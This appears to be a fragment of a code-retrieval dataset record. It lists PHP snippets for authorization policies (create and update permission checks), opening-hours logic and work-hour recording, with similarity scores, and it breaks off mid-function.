"public static function checkHours(): int\n {\n $closeHour = Carbon::createFromTime(17, 0, 0, 'UTC')->getTimestamp();\n $currentHour = Carbon::now('UTC')->getTimestamp();\n $currentDay = Carbon::now('UTC');\n $currentDay = $currentDay->dayOfWeek;\n $websiteSettings = WebsiteSettings::find(1);\n\n if ($currentDay !== 0 && $currentDay !== 6 && $websiteSettings['settings']['is_active'] !== 0) {\n return 0;\n }\n\n if ($currentDay === 6 && $currentHour < $closeHour && $websiteSettings['settings']['is_active'] !== 0) {\n return 0;\n }\n\n return 1;\n }",
"public function isWithinLunchOrderHours()\n {\n $soo = option('ORDER_RESUMES');\n $coo = option('ORDER_CLOSES');\n\n return $this->allowOrdersAtAnytime() OR ($this->isWeekday() && $this->isHoursBetween($soo, $coo));\n }",
"function canCreateAccounts() {\r\n\t\treturn true;\r\n\t}",
"public function can_auto_create_users() {\n return (bool)$this->config['weautocreateusers'];\n }",
"private function canCreate(User $user, ?Place $place): bool\n {\n return true;\n }",
"public function create_hour(int $user_id, int $department_id, string $starts_at, string $ends_at): void\n {\n if ($this->check_department_user($department_id, $user_id) === false)\n exit('Deze gebruiker is niet toegewezen aan deze afdeling. <a href=\"/views/hours\">Ga terug</a> en probeer het nog een keer.');\n elseif ($this->check_hour_starts_before_end($starts_at, $ends_at) === false)\n exit('Het startmoment moet zich <i>voor</i> het eindemoment plaatsvinden. <a href=\"/views/hours\">Ga terug</a> en probeer het nog een keer.');\n else\n {\n $sql = 'INSERT INTO hours (user_id, department_id, starts_at, ends_at)\n VALUES (:user_id, :department_id, :starts_at, :ends_at)';\n\n $this->statement_execute($sql, [\n 'user_id' => $user_id,\n 'department_id' => $department_id,\n 'starts_at' => $starts_at,\n 'ends_at' => $ends_at\n ]);\n }\n }",
"public function generate_hours() {\n\n\t\t\t$schema = get_theme_mod( 'schema' );\n\n\t\t\t$hours = isset( $schema['openingHoursSpecification'] ) ? $schema['openingHoursSpecification'] : false;\n\n\t\t\tif ( !$hours ) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t\n\t\t\t$DAYS = array( 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday' );\n\t\t\t\n\t\t\tforeach( $DAYS as $day ) {\n\t\t\t\tforeach( $hours as $period ) {\n\t\t\t\t\tif ( in_array( $day, $period['dayOfWeek'] ) ) {\n\t\t\t\t\t\tif ( '00:00' === $period['opens'] ) {\n\t\t\t\t\t\t\tif ( '00:00' === $period['closes'] ) {\n\t\t\t\t\t\t\t\t$return[$day][0] = 'Closed';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif ( '23:59' === $period['closes'] ) {\n\t\t\t\t\t\t\t\t$return[$day][0] = 'Open 24 hours';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$return[$day][0] = $period['opens'];\n\t\t\t\t\t\t$return[$day][1] = $period['closes'];\n\t\t\t\t\t}\n\t\t\t\t}\t\t\t\t\n\t\t\t}\n\n\t\t\treturn $return;\n\t\t}",
"public function create(?User $user): bool\n {\n return optional($user)->isAdmin() || !optional($user)->isEndUser();\n }",
"public function create(User $user)\n {\n\n return $user->hasPermissionTo(\"create problem\");\n\n }",
"public function create(User $user)\n {\n if ($user->can('create_tasks')) {\n return true;\n }\n }",
"public function isCreatable();",
"public function create(User $user)\n {\n return $user->can('create user');\n }",
"public function user_is_allowed()\n {\n //check if the record exist\n if (! $this->record) {\n $this->build_error('These record does not exist or it may not belong to you',404);\n }\n\n //check if the user is the owner of the entry\n if(!isOwner($this->record)) {\n $this->build_error('you are not the owner of this task');\n }\n\n //check if the incomming entries type is Array\n if (!is_array($this->request->entries)) {\n $this->build_error('Please the entries must be an Array');\n }\n }",
"function canCreate(){\n\t\t\tif(!isset($_POST['action'])) return false;\n\t\t\tif($_POST['action'] !== 'create_profile') return false;\n\t\t\tif($_POST['profile_folder'] === '') return false;\n\t\t\tif($_POST['profile_name'] === '') return false;\n\t\t\treturn true;\n\t\t}",
"function canCreate() {\r\n\t\treturn !DataObject::get_one($this->class);\r\n\t}",
"public function create_announcement_permissions_check() {\n return current_user_can( 'manage_options' );\n }",
"function has_schedule_caps( $user_id ) {\r\n $is_ok = true;\r\n \r\n //Treat super admins\r\n if( is_super_admin( $user_id ) ) {\r\n $this->add_schedule_caps( $user_id );\r\n }\r\n \r\n $user = new WP_User( $user_id );\r\n foreach( $this->caps as $c )\r\n if ( !$user->has_cap( $c ) )\r\n $is_ok = false;\r\n \r\n if( !get_option( 'bpsp_allow_only_admins' ) )\r\n if( !bp_group_is_admin() )\r\n $is_ok = false;\r\n \r\n return $is_ok;\r\n }",
"function get_can_create_user ()\r\n {\r\n return $_SESSION[\"can_create_user\"];\r\n }",
"function canCreateAccounts() {\n return false;\n }",
"private function check_meet_creation_limit()\n {\n $recent_shackmeet_count = count($this->load_recent_shackmeet_count());\n \n return $recent_shackmeet_count < 2;\n }",
"public function create(User $user) : bool\n {\n return $user->isAdmin() || $user->hasPermission('create_user') || $user->hasPermission('create_all');\n }",
"public function create($user)\n {\n return $user->hasPermissionTo('create ' . static::$key);\n }",
"public function create(User $user)\n {\n // return true;\n return $user->hasPermissionTo('create interview');\n }",
"function canCreatePage() {\n return ($this->isAdmin() || ($this->userType == 'author'));\n }",
"public function create(User $user)\n {\n return $user->access_level > 0;\n }",
"public function create(User $user)\n {\n return $user->access_level > 1;\n }",
"public function testAllowCreate()\n {\n $createFalse = LogEntry::create()->canCreate(null);\n $this->assertFalse($createFalse);\n $this->logInWithPermission('ADMIN');\n $createFalse = LogEntry::create()->canCreate();\n $this->assertFalse($createFalse);\n }",
"public function canSetCreatable()\n {\n return $this->canSetCreatable;\n }",
"public function create(User $user)\n {\n return $user->canDo('settings.setting.create');\n }",
"public function create(Authenticatable $user)\n {\n return $user->canDo('setting.setting.create');\n }",
"public function create(User $user): bool\n {\n return $user->isAdmin();\n }",
"public function create(User $user)\n {\n return $user->hasPermissionTo(Permission::PERMISSION_CREATE_LEAVE);\n }",
"public function create(User $user)\n {\n return $user->isSuper() || $user->isAdmin() || $this->isAllowedFor($user, 'create');\n }",
"function can_do_edit() {\n global $USER;\n\n if (has_capability('block/php_report:manageschedules', get_context_instance(CONTEXT_SYSTEM))) {\n //user can manage schedules globally, so allow access\n return true;\n }\n\n $report_shortname = '';\n\n //try to obtain the report shortname from the report schedule id\n //(applies only during first step of wizard interface)\n $id = $this->optional_param('id', 0, PARAM_INT);\n if ($id !== 0) {\n if ($record = get_record('php_report_schedule', 'id', $id)) {\n if ($record->userid != $USER->id) {\n //disallow access to another user's schedule\n return false;\n }\n $config = unserialize($record->config);\n if (isset($config['report'])) {\n $report_shortname = $config['report'];\n }\n } else {\n //wrong id, so disallow\n return false;\n }\n }\n\n //try to obtain the report shortname from the workflow information\n //(applies only after the first step of the wizard interface)\n if ($report_shortname == '' && isset($this->workflow)) {\n $data = $this->workflow->unserialize_data();\n if ($data !== NULL && isset($data['report'])) {\n $report_shortname = $data['report'];\n }\n }\n\n if ($report_shortname === '') {\n //report info not found, so disallow\n return false;\n }\n\n //check permissions via the report\n $report_instance = php_report::get_default_instance($report_shortname, NULL, php_report::EXECUTION_MODE_SCHEDULED);\n return $report_instance !== false;\n }",
"public function create(User $user)\n {\n if ($user->admin) {\n return true;\n }\n\n $requiredDaysSinceRegistration = 3;\n $requiredDateToAddGyms = Carbon::now()->subDays($requiredDaysSinceRegistration);\n\n return $user->created_at->lessThanOrEqualTo($requiredDateToAddGyms);\n }",
"public function create(User $user)\n {\n return $user->hasPermissionTo(Actions::CREATE, Task::class);\n }",
"public function set_hours($opens, $closes)\n {\n // check times are valid\n for ($i = 0; $i < 7; $i++)\n {\n $startd = new DateTime(\"0000-00-00 \".$opens[$i]);\n $endd = new DateTime(\"0000-00-00 \".$closes[$i]);\n \n if ($endd <= $startd)\n return false;\n }\n \n $this->db->query(\"truncate table Hours;\");\n \n for ($i = 0; $i < 7; $i++)\n {\n $q = $this->db->prepare(\"INSERT INTO Hours (day, open, close) VALUES (?, ?, ?);\"); \n $q->bind_param('sss', $i, $opens[$i], $closes[$i]);\n $q->execute();\n }\n\n return true;\n\n }",
"public function create(User $user)\n {\n return $user->hasPermissionTo('experience_create');\n }",
"private function canCreate()\n {\n //Checks roles allowed\n $roles = array(\n 'ROLE_MANAGER',\n 'ROLE_ADMIN',\n );\n\n foreach ($roles as $role) {\n if ($this->security->isGranted($role)) {\n return true;\n }\n }\n\n return false;\n }",
"public function create(User $user)\n {\n return $user->id > 0;\n }",
"public function create(User $user)\n {\n return $user->isAdmin() || $user->isSupervisor();\n }",
"public function create(User $user)\n {\n return $user->isAdmin() || $user->isSupervisor();\n }",
"public function create(User $user)\n {\n return $user->isAdmin()\n || $user->isChair()\n || $user->isCaptain();\n }",
"public function create(User $user)\n {\n return $user->permissions()->contains('/empresas/add');\n }",
"public function create(User $user)\n {\n if($user->rols->contains('slug', 'administrador')) {\n return true;\n } elseif ($user->permisos->contains('slug', 'crear-especie')) {\n return true;\n }\n return false;\n }",
"public function canCreate(string $name) : bool;",
"public static function canViewNewTickets()\n\t{\n\t\tif (!auth()->check()) return false;\n\t\t$member = \\PanicHDMember::find(auth()->user()->id);\n\n\t\tif ($member->isAdmin()){\n\t\t\treturn true;\n\t\t}elseif($member->isAgent() and $member->currentLevel() == 2){\n\t\t\tif(Setting::grab('agent_restrict')==1){\n\t\t\t\treturn $member->categories()->wherePivot('autoassign','1')->count()==0 ? false : true;\n\t\t\t}else{\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}else{\n\t\t\treturn false;\n\t\t}\n\t}",
"public function authorize()\n {\n return auth()->user()->can('create', Task::class);\n }",
"protected function canCreatePointInDb()\n {\n // create point\n $optionNotNull = function ($option) {\n return $option !== null;\n };\n\n $dbOptions = Arr::only($this->options(), ['name', 'points']);\n\n $canCreatePointInDb = array_filter(array_map($optionNotNull, $dbOptions), function ($option) {\n return $option === true;\n });\n\n return $canCreatePointInDb;\n }",
"public function create(User $user)\n {\n if ($user->can('create_permission') || $user->can('manage_permissions')) {\n return true;\n }\n\n return false;\n }",
"public function isWithinOpeningHours(Time $time): bool;",
"public function create()\n {\n return view('hours.create');\n }",
"public function is_accessible() {\n $available = $this->properties->available;\n $deadline = $this->properties->deadline;\n return (($available == 0 || time() >= $available) && ($deadline == 0 || time() < $deadline));\n }",
"public function authorize()\n {\n return Auth()->user()->isAbleTo('school_sections-create');\n }",
"public function isCreated() {\r\n\r\n\t\tself::errorReset();\r\n\t\t$this->reload();\r\n\t\treturn InputValidator::isEmpty($this->creationDate) ? false: true;\r\n\t}",
"public function create(User $user)\n {\n return $user->id > 0;\n }",
"public function shouldExecute()\n\t{\n\t\t// date range check\n\t\tif( strtotime($this->start_date) > utc_time() || strtotime($this->end_date) < utc_time() ) {\n\t\t\treturn false;\n\t\t}\n\n\t\t// time range check, for the current day-of-week\n\t\t$dow_abbrevs = [null, 'mon', 'tues', 'wed', 'thurs', 'fri', 'sat', 'sun'];\n\t\t$dow_int = utc_date()->format('N');\t// 1 = mon, 7 = sun\n\t\t$dow = $dow_abbrevs[$dow_int];\n\t}",
"public function canCreate(): bool\n {\n if (!$this->hasData('can_create')) {\n $this->setData('can_create', $this->eraseCustomerChecker->canCreate((int) $this->session->getCustomerId()));\n }\n\n return (bool) $this->_getData('can_create');\n }",
"public function createThis(User $user, Task $task)\n {\n return $user->isAdmin()\n || $user->isChair($task->conference)\n || $user->isCaptain($task->conference);\n }",
"public function view(User $user, Hour $hour)\n {\n //Handled by controller\n return $user->isAdmin() || $user->id === $hour->user_id;\n }",
"public function isEditable()\n\t{\n\t\tif(Auth::check())\n\t\t{\n\t\t\tif(Auth::user()->id == $this->author_id)\n\t\t\t{\n\t\t\t\tif ($this->created_at->diffInMinutes(Carbon::now()) < 30)\n\t\t\t\t{\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif(Auth::user()->hasRole(['moderator', 'administrator', 'super user'])) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t}",
"function userCanCreateInterim( $sessionID ) {\r\n\t\treturn $this->getAccessLevel() > 8;\r\n\t}",
"public function authorize() {\n\t\t$this->sport = $this->route('sport');\n\t\tif ($this->competitionDay = $this->route('competitionDay')) {\n\t\t\treturn $this->user()->can('update', $this->competitionDay);\n\t\t}\n\n\t\t$this->competitionDay = new CompetitionDay();\n\t\treturn $this->user()->can('create', CompetitionDay::class);\n\t}",
"public function create(User $user)\n {\n return in_array($user->role, ['instructor', 'admin']);\n }",
"public function create(User $user)\n {\n return $this->userRoleCan($user, 'country-create');\n }",
"public function create(User $user)\n {\n $permission = strpos($user->group->permission, \"rappers_create\");\n return !is_int($permission);\n }",
"private function hasHours(string $time) : bool\n {\n return self::stringHasLetters($time, $this->hourLetters);\n }",
"public function canCreateAUser ()\n {\n\n $faker = Factory::create();\n\n $this->withoutExceptionHandling();\n\n\n $response = $this->json('POST', 'api/users', [\n 'name' => $name = $faker->company,\n 'surName' => $surName = $faker->company,\n 'email' => $email = $faker->company,\n 'password' => $password = $faker->company,\n 'entity' => $entity = $faker->company,\n 'street' => $street = $faker->company,\n 'number' => $number = random_int(0,9999),\n 'city' => $city = $faker->company,\n 'CP' => $CP = random_int(0,9999),\n ])\n ->assertStatus(201);\n\n $this->assertDatabaseHas('users', [\n 'name'=> $name,\n 'surName'=> $surName,\n 'email'=>$email,\n 'password'=>$password,\n 'entity'=>$entity,\n 'street'=>$street,\n 'number'=>$number,\n 'city'=>$city,\n 'CP'=>$CP,\n ]);\n }",
"public function create(User $user)\n {\n return $user->canDo('career.job.create');\n }",
"public function hasUser();",
"public function hours() {\n //TODO prediction\n }",
"public function canCreate(IdentityInterface $user, sketch $sketch)\n {\n return true;\n }",
"public function check_avail(){ \n\t\tif(!empty($this->data['HrPermission']['per_from']) && !empty($this->data['HrPermission']['per_to']) && !empty($this->data['HrPermission']['per_date'])){\n\t\t\t// get used leave\n\t\t\t$date_str = $this->get_search_date($this->data['HrPermission']['per_date']);\n\t\t\t$this->unBindModel(array('hasOne' => array('HrPerStatus', 'HrPerUser')));\t\t\t\n\t\t\t$data = $this->find('all', array('fields' => array(\"TIME_FORMAT(SEC_TO_TIME( SUM( TIME_TO_SEC(no_hrs))), '%k:%i') as count\", 'HrPermission.id'), \n\t\t\t'conditions' => array('HrPermission.app_users_id' => $this->data['HrPermission']['user_id'], 'HrPermission.is_deleted' => 'N', 'is_approve !=' => 'R', \n\t\t\t'per_date like' => $date_str.'%')));\t\t\t\n\t\t\t$used = $data[0][0]['count'];\n\t\t\t\n\t\t\tif(empty($used)){\t\n\t\t\t\t$total_hrs = $this->data['HrPermission']['no_hrs'];\n\t\t\t}else{\n\t\t\t\t$total_hrs = $this->add_time($used, $this->data['HrPermission']['no_hrs']);\t\n\t\t\t}\n\t\t\t// find total usable hours\t\t\t\t\t\n\t\t\t$total_hrs = explode(':', $total_hrs);\t\t\t\n\t\t\t$avail = 2;\t\t\t\t\n\t\t\tif(($total_hrs[0] >= $avail && $total_hrs[1] > 0) || ($total_hrs[0] > 2)){ \n\t\t\t\treturn false;\n\t\t\t}else{\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\treturn true;\n\t}",
"public function create(User $user)\n {\n //\n return $user->id === 1;\n }",
"public function testVolunteerHourCreateForContactSuccess_Administrator()\n {\n // Set test user as current authenticated user\n $this->be($this->administrator);\n \n $this->session([\n 'username' => $this->administrator->username, \n 'access_level' => $this->administrator->access_level\n ]);\n \n $volunteerID = 2;\n // Call route under test\n $response = $this->call('GET', 'volunteerhours/add/volunteer/'.$volunteerID);\n \n $this->assertContains('Volunteer Hours for', $response->getContent());\n }",
"protected function creatingNewUser() {\n return ($this->request_exists('user_choice') && $this->request('user_choice') == 'new' );\n }",
"public function authorize()\n {\n return $this->user()->can('create', MarEntry::class);\n }",
"public function create(User $user)\n {\n return $user->is_admin == true;\n }",
"public function add_working_time($empID, $start, $end) \n {\n \n require_once('models/Hours.class.php');\n \n if ($end <= $start)\n return false;\n \n //Check new hours are within the businesses opening hours\n $hours = new Hours($this->db);\n \n if (!$hours->checkWithinHours($start) || !$hours->checkWithinHours($end)){\n \n $this->redirect(\"WorkerAvailability.php?error=outside_opening_hours\");\n die();\n }\n \n while ($start < $end)\n {\n $sd = $start->format(\"Y-m-d H:i:s\");\n $q = $this->db->prepare(\"SELECT dateTime FROM TimeSlot WHERE dateTime = ?;\"); // check appointment exists\n $q->bind_param('s', $sd);\n \n if (!$q->execute())\n return false;\n \n $result = $q->get_result();\n\n if (mysqli_num_rows($result) > 0) \n {\n $cw = 1;\n $row = mysqli_fetch_array($result); \n \n $q = $this->db->prepare(\"SELECT dateTime, empID FROM CanWork WHERE empID = ? AND dateTime = ?;\"); // check CanWork not already updated\n \n $rows = 0;\n \n if ($q)\n {\n $q->bind_param('ss', $empID, $row['dateTime']);\n \n if (!$q->execute())\n return false;\n \n $result = $q->get_result();\n $rows = mysqli_num_rows($result);\n } \n \n \n \n if ($rows == 0) \n {\n $q = $this->db->prepare(\"INSERT INTO CanWork (empID, dateTime) VALUES (?, ?)\");\n $q->bind_param('ss', $empID, $row['dateTime']);\n \n if (!$q->execute())\n return false;\n }\n \n else return false; // overlaps not accepted\n }\n else \n {\n echo \"failed <br>\";\n // exception\n return false;\n }\n \n $start->modify('+'.MINIMUM_INTERVAL.' minutes');\n }\n \n return true;\n }",
"public function isCreate(){\n\t\treturn isset($this->{$this->getPrimaryKey()}) ? false : true;\n\t}",
"public function create(User $user)\n {\n return $user->hasPermission('create-reference-echelonmap');\n }",
"public function create(User $user)\n {\n return $user->hasPermission('create-organization-formation');\n }",
"public function create($user) : bool\n {\n return true;\n }",
"public function create(User $user)\n {\n return Auth()->user()->hasRole('Admin') || Auth()->user()->hasPermissionTo('Create roles');\n }"
]
| [
"0.638574",
"0.6382193",
"0.6382193",
"0.63038707",
"0.6283802",
"0.62460375",
"0.6168607",
"0.6128982",
"0.6048337",
"0.60482734",
"0.6042969",
"0.6031529",
"0.6009556",
"0.5956818",
"0.5951898",
"0.5942568",
"0.59115946",
"0.59073216",
"0.5873852",
"0.5852519",
"0.5841936",
"0.58373",
"0.5821029",
"0.5798908",
"0.57694495",
"0.57392585",
"0.5727295",
"0.57190776",
"0.5717255",
"0.5713176",
"0.57117677",
"0.5697753",
"0.56961846",
"0.5696037",
"0.56921697",
"0.568648",
"0.56673443",
"0.5643541",
"0.56429195",
"0.5631572",
"0.56301004",
"0.5622181",
"0.562025",
"0.5614796",
"0.55969554",
"0.5593088",
"0.5588712",
"0.5582931",
"0.55799884",
"0.55647767",
"0.5564676",
"0.55611014",
"0.55553937",
"0.5547699",
"0.5535701",
"0.55334723",
"0.55325675",
"0.55325675",
"0.5526755",
"0.5523695",
"0.5508437",
"0.54959154",
"0.5493668",
"0.5490748",
"0.5487677",
"0.5486672",
"0.54858947",
"0.54835284",
"0.548254",
"0.54825145",
"0.5477141",
"0.5473663",
"0.54693925",
"0.5468639",
"0.5461492",
"0.5454358",
"0.5445035",
"0.5433075",
"0.5432644",
"0.5431263",
"0.54284585",
"0.5425118",
"0.54232186",
"0.53881454",
"0.5385231",
"0.5373766",
"0.5370983",
"0.5367889",
"0.536625",
"0.53637695",
"0.5360864",
"0.5359791",
"0.53594625",
"0.5355567",
"0.5347377",
"0.5346447",
"0.5339729",
"0.5324956",
"0.5322828",
"0.5322448"
]
| 0.5687506 | 35 |
Determine whether the user can update the hour. | public function update($user, Hour $hour)
{
//Admin update: handled by middleware
//Clock in & Mark here
return isAdmin() || $hour->user_id === $user->id;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function isHour() : bool {\n $hoursArr = $this->taskDetails['hours'];\n $retVal = true;\n\n if ($hoursArr['every-hour'] !== true) {\n $retVal = false;\n $current = TasksManager::getHour();\n $ranges = $hoursArr['at-range'];\n\n foreach ($ranges as $range) {\n if ($current >= $range[0] && $current <= $range[1]) {\n $retVal = true;\n break;\n }\n }\n\n if ($retVal === false) {\n $retVal = $this->isHourHelper($hoursArr, $current);\n }\n }\n\n return $retVal;\n }",
"public function update(): bool\n {\n return $this->isAllowed(self::UPDATE);\n }",
"function check_user() {\n\treturn false; // update allowed\n\treturn true; //no update allowed\n}",
"static function canUpdate() {\n // as users can update their onw items\n return Session::haveRightsOr(self::$rightname, [\n CREATE,\n UPDATE,\n self::MANAGE_BG_EVENTS\n ]);\n }",
"public static function checkHours(): int\n {\n $closeHour = Carbon::createFromTime(17, 0, 0, 'UTC')->getTimestamp();\n $currentHour = Carbon::now('UTC')->getTimestamp();\n $currentDay = Carbon::now('UTC');\n $currentDay = $currentDay->dayOfWeek;\n $websiteSettings = WebsiteSettings::find(1);\n\n if ($currentDay !== 0 && $currentDay !== 6 && $websiteSettings['settings']['is_active'] !== 0) {\n return 0;\n }\n\n if ($currentDay === 6 && $currentHour < $closeHour && $websiteSettings['settings']['is_active'] !== 0) {\n return 0;\n }\n\n return 1;\n }",
"public function isEditable()\n\t{\n\t\tif(Auth::check())\n\t\t{\n\t\t\tif(Auth::user()->id == $this->author_id)\n\t\t\t{\n\t\t\t\tif ($this->created_at->diffInMinutes(Carbon::now()) < 30)\n\t\t\t\t{\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif(Auth::user()->hasRole(['moderator', 'administrator', 'super user'])) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t}",
"protected function canUpdate()\n {\n return $this->hasStrategy(self::STRATEGY_UPDATE);\n }",
"function canUpdateItem() {\n\n $ticket = new Ticket();\n if (!$ticket->getFromDB($this->fields['tickets_id'])) {\n return false;\n }\n\n // you can't change if your answer > 12h\n if (!is_null($this->fields['date_answered'])\n && ((strtotime(\"now\") - strtotime($this->fields['date_answered'])) > (12*HOUR_TIMESTAMP))) {\n return false;\n }\n\n if ($ticket->isUser(CommonITILActor::REQUESTER, Session::getLoginUserID())\n || ($ticket->fields[\"users_id_recipient\"] === Session::getLoginUserID() && Session::haveRight('ticket', Ticket::SURVEY))\n || (isset($_SESSION[\"glpigroups\"])\n && $ticket->haveAGroup(CommonITILActor::REQUESTER, $_SESSION[\"glpigroups\"]))) {\n return true;\n }\n return false;\n }",
"function updatesAllowed() {\n\t\treturn $this->getupdatable() == 1 ? true : false;\n\t}",
"protected function _isAllowed()\r\n {\r\n return $this->_authorization->isAllowed('AAllen_PriceUpdate::update');\r\n }",
"public function markUserAsUpdated(): bool\n {\n return $this->fill([$this->UPDATECOLUMN, Chronos::date()->stamp()])\n ->save();\n }",
"public function isUpdateSecurityRelevant() {}",
"public function executeUpdate(): bool\n {\n $this->updateDaysallowedField();\n return true;\n }",
"function canUpdateUser($userid){\r\n\t\t$permissions = new dkpUserPermissions();\r\n\t\t$permissions->loadUserPermissions($userid);\r\n\r\n\t\t//make sure we are trying to edit a user who really belongs to our guild\r\n\t\tif($permissions->guildid != $this->guild->id || !$this->HasPermission(\"AccountSecondaryUsers\"))\r\n\t\t\treturn false;\r\n\t\treturn true;\r\n\t}",
"public function update(User $user)\n {\n return $user->hasAccess(['update-zones']);\n }",
"public function isNeedUpdate()\n {\n if (is_null($this['episode_update_date'])){\n return true;\n }\n if (Carbon::now()->diffInDays(new Carbon($this['episode_update_date'])) > 3){\n return true;\n }\n return false;\n }",
"public function authorize() {\n\t\t$this->workplace = $this->route('workplace');\n\t\t$this->workFunction = $this->route('workFunction');\n\t\treturn $this->user()->can('update', $this->workplace) && $this->user()->can('update', $this->workFunction);\n\t}",
"public function view(User $user, Hour $hour)\n {\n //Handled by controller\n return $user->isAdmin() || $user->id === $hour->user_id;\n }",
"public function needUpdate()\n\t{\n\t\treturn ($this->getLastUpdate() == null || time() - $this->getLastUpdate()->format('U') > 1 * 60);\n\t}",
"public function isUpdateRequired();",
"public function authorize()\n {\n if (auth()->user()->can('update')) {\n return true;\n }\n\t\t\n\t\treturn false;\n }",
"protected function canUpdate(){\n $emptyComment = $this->getEmptyComment();\n\n return $this->canUserModify() &&\n ($this->isActive() || $this->isPending() ||\n ($this->isSuspended() && parent::can(PERM_SOCIALQUESTIONCOMMENT_UPDATE_STATUS, $emptyComment))) &&\n !$this->isDeleted() &&\n $this->isQuestionActive() &&\n $this->socialQuestion->SocialPermissions->isUnlockedOrUserCanChangeLockStatus() &&\n parent::can(PERM_SOCIALQUESTIONCOMMENT_UPDATE, $emptyComment);\n }",
"function update_access_allowed() {\n global $update_free_access, $user;\n\n // Allow the global variable in settings.php to override the access check.\n if (!empty($update_free_access)) {\n return TRUE;\n }\n // Calls to user_access() might fail during the Drupal 6 to 7 update process,\n // so we fall back on requiring that the user be logged in as user #1.\n try {\n require_once DRUPAL_ROOT . '/' . drupal_get_path('module', 'user') . '/user.module';\n return user_access('administer software updates');\n }\n catch (Exception $e) {\n return ($user->uid == 1);\n }\n}",
"function update_access_allowed() {\n global $update_free_access, $user;\n\n // Allow the global variable in settings.php to override the access check.\n if (!empty($update_free_access)) {\n return TRUE;\n }\n // Calls to user_access() might fail during the Drupal 6 to 7 update process,\n // so we fall back on requiring that the user be logged in as user #1.\n try {\n require_once DRUPAL_ROOT . '/' . drupal_get_path('module', 'user') . '/user.module';\n return user_access('administer software updates');\n }\n catch (Exception $e) {\n return ($user->uid == 1);\n }\n}",
"public function hasUserUpdated(): bool\n {\n return !is_null($this->getUserUpdatedDate());\n }",
"public function canEdit()\n {\n return $this->is_locked == 0;\n }",
"public function authorize()\n {\n return $this->user()->can('update_users');\n }",
"public function hasUpdateFor($user) \n {\n return $this->updated_at > cache()->store('redis')->get($user->getCacheKeyName($this));\n }",
"public function authorize()\n {\n return $this->user()->canUpdateSecurity();\n }",
"function is_updated($updated_at)\n{\n $now = time() - 60;\n $updated_at = strtotime($updated_at);\n if ($updated_at > $now) {\n return true;\n }\n\n return false;\n}",
"public function canEdit()\n {\n if (!$this->site) {\n return false;\n }\n\n if (!$this->current_user) {\n return false;\n }\n\n if ($this->site->userIsVerified($this->current_user)) {\n return true;\n }\n\n return false;\n }",
"public function is_accessible() {\n $available = $this->properties->available;\n $deadline = $this->properties->deadline;\n return (($available == 0 || time() >= $available) && ($deadline == 0 || time() < $deadline));\n }",
"public function authorize()\n {\n // who can update ??\n // 1- admin\n if (auth()->user()->isAdmin()) {\n return true;\n }\n\n // 2- creator\n if ($this->offerItem->created_by == auth()->user()->id) {\n return true;\n }\n\n return false;\n }",
"public function update(User $user)\n {\n return $user->hasAccess('update-conference-permission');\n }",
"public function canUpdate($identifier = null);",
"public function shouldExecute()\n\t{\n\t\t// date range check\n\t\tif( strtotime($this->start_date) > utc_time() || strtotime($this->end_date) < utc_time() ) {\n\t\t\treturn false;\n\t\t}\n\n\t\t// time range check, for the current day-of-week\n\t\t$dow_abbrevs = [null, 'mon', 'tues', 'wed', 'thurs', 'fri', 'sat', 'sun'];\n\t\t$dow_int = utc_date()->format('N');\t// 1 = mon, 7 = sun\n\t\t$dow = $dow_abbrevs[$dow_int];\n\t}",
"public function hasUpdate();",
"public function authorizePatch()\n {\n return $this->user()->can('acme.update');\n }",
"public function update(User $user)\n {\n\t\treturn in_array('update', $user->permissibles('vip'));\n }",
"public function set_cron_check() {\n\n\t\t/* Nonce check */\n\t\tcheck_ajax_referer( 'wpcd-admin', 'nonce' );\n\n\t\t/* Permision check - unsure that this is needed since the action is not destructive and might cause issues if the user sees the message and can't dismiss it because they're not an admin. */\n\t\tif ( ! wpcd_is_admin() ) {\n\t\t\twp_send_json_error( array( 'msg' => __( 'You are not authorized to perform this action - dismiss cron check.', 'wpcd' ) ) );\n\t\t}\n\n\t\t/* Permissions passed - set transient. */\n\t\tset_transient( 'wpcd_cron_check', 1, 12 * HOUR_IN_SECONDS );\n\t\twp_die();\n\n\t}",
"public function authorize()\n {\n return $this->user()->can('update', $this->route('user'));\n }",
"public function is_update(){\n\t\tglobal $_wt_options;\n\t\tif($this->is_init() && $_wt_options->options(\"eventbrite_auto_update\") ==1) return 1;\n\t\treturn 0;\n\t}",
"public function authorize()\n {\n return $this->user()->can('update', $this->user());\n }",
"public function update(User $user)\n {\n //\n if(!$user->isAdmin()){\n return true;\n }\n\t return app(Gate::class)->authorize('financial.exchangeRate.setting');\n }",
"public function authorize()\n {\n $user = $this->findFromUrl('user');\n return $this->user()->can('update', $user);\n }",
"function amap_ma_get_timezone_update() {\n $update_timezone = trim(elgg_get_plugin_setting('update_timezone', AMAP_MA_PLUGIN_ID));\n if ($update_timezone === AMAP_MA_GENERAL_YES) {\n return true;\n }\n\n return false;\n}",
"function can_do_edit() {\n global $USER;\n\n if (has_capability('block/php_report:manageschedules', get_context_instance(CONTEXT_SYSTEM))) {\n //user can manage schedules globally, so allow access\n return true;\n }\n\n $report_shortname = '';\n\n //try to obtain the report shortname from the report schedule id\n //(applies only during first step of wizard interface)\n $id = $this->optional_param('id', 0, PARAM_INT);\n if ($id !== 0) {\n if ($record = get_record('php_report_schedule', 'id', $id)) {\n if ($record->userid != $USER->id) {\n //disallow access to another user's schedule\n return false;\n }\n $config = unserialize($record->config);\n if (isset($config['report'])) {\n $report_shortname = $config['report'];\n }\n } else {\n //wrong id, so disallow\n return false;\n }\n }\n\n //try to obtain the report shortname from the workflow information\n //(applies only after the first step of the wizard interface)\n if ($report_shortname == '' && isset($this->workflow)) {\n $data = $this->workflow->unserialize_data();\n if ($data !== NULL && isset($data['report'])) {\n $report_shortname = $data['report'];\n }\n }\n\n if ($report_shortname === '') {\n //report info not found, so disallow\n return false;\n 